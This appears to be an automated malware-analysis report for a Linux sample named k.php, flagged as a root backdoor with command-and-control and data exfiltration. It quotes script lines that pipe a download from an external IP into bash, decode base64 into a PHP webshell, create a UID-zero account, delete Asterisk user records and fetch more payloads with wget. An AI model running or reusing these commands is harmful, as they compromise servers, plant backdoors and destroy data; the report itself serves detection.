Hostile ^100% linux Download

k.php

Root backdoor, C2, data exfil

Creates UID/GID-zero login accountCron with base64 decode

SHA-256b5039cc60b816761a273da08396429716b20fb850eac1018c1f3b32470e2085c

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₇(P₂As₂C₃ErCoDyLa)H₅(Cm₈DbF₉Os₅Po₄)Md

Evidence

Encoded URL pinned to external IPv4 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfNjAxZjhhMjAzYjAzNjU2N2Q0MjUyZTVlOTJhNGJiNzkgKi8gaWYoZmFsc2UpeyAkbk5BTGhicWNRSEJiSmV1ID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICR6V3FlRGRTclhYdW1wc09DZnAgPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2R5TWpjd09ITTJNVzl4Y2pBME1YRnpOekp2YjNKd2IzSXpNVzR5TXpKdWJpY3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZMkptWnlJK0p6c0tJQ0FnSUhKd2RXSWdKengyWVdOb1p5Qm5iR055UFNKbmNtdG5JaUJo …

PHP decodes a large Base64 literal line 3

3:7930… MygkeldxZURkU3JYWHVtcHNPQ2ZwKTsgZXZhbCgkbnFFcGhtUWpWVkR5dXpPeik7ID8+' | base64 -d > /var/www/html/admin …

Encoded payload detected: base64 lines 5–8

5:70… SGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
6echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash
7mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';"
8mysql -u root --password=' …

Curl/wget invocation requires option or URL line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …